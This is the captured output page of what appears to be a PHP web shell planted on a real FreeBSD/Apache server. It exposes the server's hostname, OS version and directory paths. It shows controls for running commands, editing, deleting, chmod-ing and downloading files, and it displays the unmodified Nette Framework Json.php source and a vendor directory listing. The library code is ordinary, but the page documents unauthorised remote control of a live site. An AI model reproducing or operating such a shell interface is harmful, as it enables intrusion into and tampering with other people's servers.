TYPE-0 PERFECT SEIHA
Server Info:
FreeBSD scimitar.blueboard.cz 13.5-STABLE FreeBSD 13.5-STABLE stable/13-4f2925105 GENERIC amd64
Software:
Apache
User:
www
Crot
Crot File
Crot Dir
Crot Command
[LockSelf]
[HOME]
data
www
19068
fszoo_net
addlogo
home
vendor
nette
utils
src
Utils
Show Hidden Files
Edit File: /data/www/19068/fszoo_net/addlogo/home/vendor/nette/utils/src/Utils/Json.php
<?php /** * This file is part of the Nette Framework (http://nette.org) * Copyright (c) 2004 David Grudl (http://davidgrudl.com) */ namespace Nette\Utils; use Nette; /** * JSON encoder and decoder. */ class Json { const FORCE_ARRAY = 1; const PRETTY = 2; /** @var array */ private static $messages = array( JSON_ERROR_DEPTH => 'The maximum stack depth has been exceeded', JSON_ERROR_STATE_MISMATCH => 'Syntax error, malformed JSON', JSON_ERROR_CTRL_CHAR => 'Unexpected control character found', JSON_ERROR_SYNTAX => 'Syntax error, malformed JSON', 5 /*JSON_ERROR_UTF8*/ => 'Invalid UTF-8 sequence', // exists since 5.3.3, but is returned since 5.3.1 ); /** * Static class - cannot be instantiated. */ final public function __construct() { throw new Nette\StaticClassException; } /** * Returns the JSON representation of a value. * @param mixed * @param int accepts Json::PRETTY * @return string */ public static function encode($value, $options = 0) { $flags = PHP_VERSION_ID >= 50400 ? (JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | ($options & self::PRETTY ? JSON_PRETTY_PRINT : 0)) : 0; if (PHP_VERSION_ID < 50500) { $json = Callback::invokeSafe('json_encode', array($value, $flags), function ($message) { // needed to receive 'recursion detected' error throw new JsonException($message); }); } else { $json = json_encode($value, $flags); } if ($error = json_last_error()) { $message = isset(static::$messages[$error]) ? static::$messages[$error] : (PHP_VERSION_ID >= 50500 ? json_last_error_msg() : 'Unknown error'); throw new JsonException($message, $error); } $json = str_replace(array("\xe2\x80\xa8", "\xe2\x80\xa9"), array('\u2028', '\u2029'), $json); return $json; } /** * Decodes a JSON string. * @param string * @param int accepts Json::FORCE_ARRAY * @return mixed */ public static function decode($json, $options = 0) { $json = (string) $json; if (!preg_match('##u', $json)) { throw new JsonException('Invalid UTF-8 sequence', 5); // workaround for PHP < 5.3.3 & PECL JSON-C } $forceArray = (bool) ($options & self::FORCE_ARRAY); if (!$forceArray && preg_match('#(?<=[^\\\\]")\\\\u0000(?:[^"\\\\]|\\\\.)*+"\s*+:#', $json)) { // workaround for json_decode fatal error when object key starts with \u0000 throw new JsonException(static::$messages[JSON_ERROR_CTRL_CHAR]); } $args = array($json, $forceArray, 512); if (PHP_VERSION_ID >= 50400 && !(defined('JSON_C_VERSION') && PHP_INT_SIZE > 4)) { // not implemented in PECL JSON-C 1.3.2 for 64bit systems $args[] = JSON_BIGINT_AS_STRING; } $value = call_user_func_array('json_decode', $args); if ($value === NULL && $json !== '' && strcasecmp(trim($json, " \t\n\r"), 'null') !== 0) { // '' is not clearing json_last_error $error = json_last_error(); throw new JsonException(isset(static::$messages[$error]) ? static::$messages[$error] : 'Unknown error', $error); } return $value; } }
Crotin
Name
Size
Permissions
Modified
User/Group
Json.php
3008
0644
2015-09-30 18:28:58
Unknown/Unknown
Random.php
2153
0644
2015-09-30 18:28:57
Unknown/Unknown
exceptions.php
2972
0644
2015-09-30 18:28:58
Unknown/Unknown
DateTime.php
2514
0644
2015-09-30 18:28:57
Unknown/Unknown
ArrayHash.php
1621
0644
2015-09-30 18:28:57
Unknown/Unknown
ObjectMixin.php
12465
0644
2015-09-30 18:28:58
Unknown/Unknown
Callback.php
4849
0644
2015-09-30 18:28:57
Unknown/Unknown
IHtmlString.php
258
0644
2015-09-30 18:28:57
Unknown/Unknown
Object.php
4206
0644
2015-09-30 18:28:57
Unknown/Unknown
ITranslator.php
399
0644
2015-09-30 18:28:58
Unknown/Unknown
ArrayList.php
1987
0644
2015-09-30 18:28:58
Unknown/Unknown
Strings.php
15525
0644
2015-09-30 18:28:58
Unknown/Unknown
Validators.php
7603
0644
2015-09-30 18:28:57
Unknown/Unknown
Paginator.php
4020
0644
2015-09-30 18:28:57
Unknown/Unknown
Html.php
11963
0644
2015-09-30 18:28:58
Unknown/Unknown
Image.php
18416
0644
2015-09-30 18:28:57
Unknown/Unknown
Arrays.php
5928
0644
2015-09-30 18:28:57
Unknown/Unknown
FileSystem.php
3789
0644
2015-09-30 18:28:58
Unknown/Unknown
NGANU
Rename
Hapus
Chmod
Chown
Touch
Zip
Unzip
Download
Crotin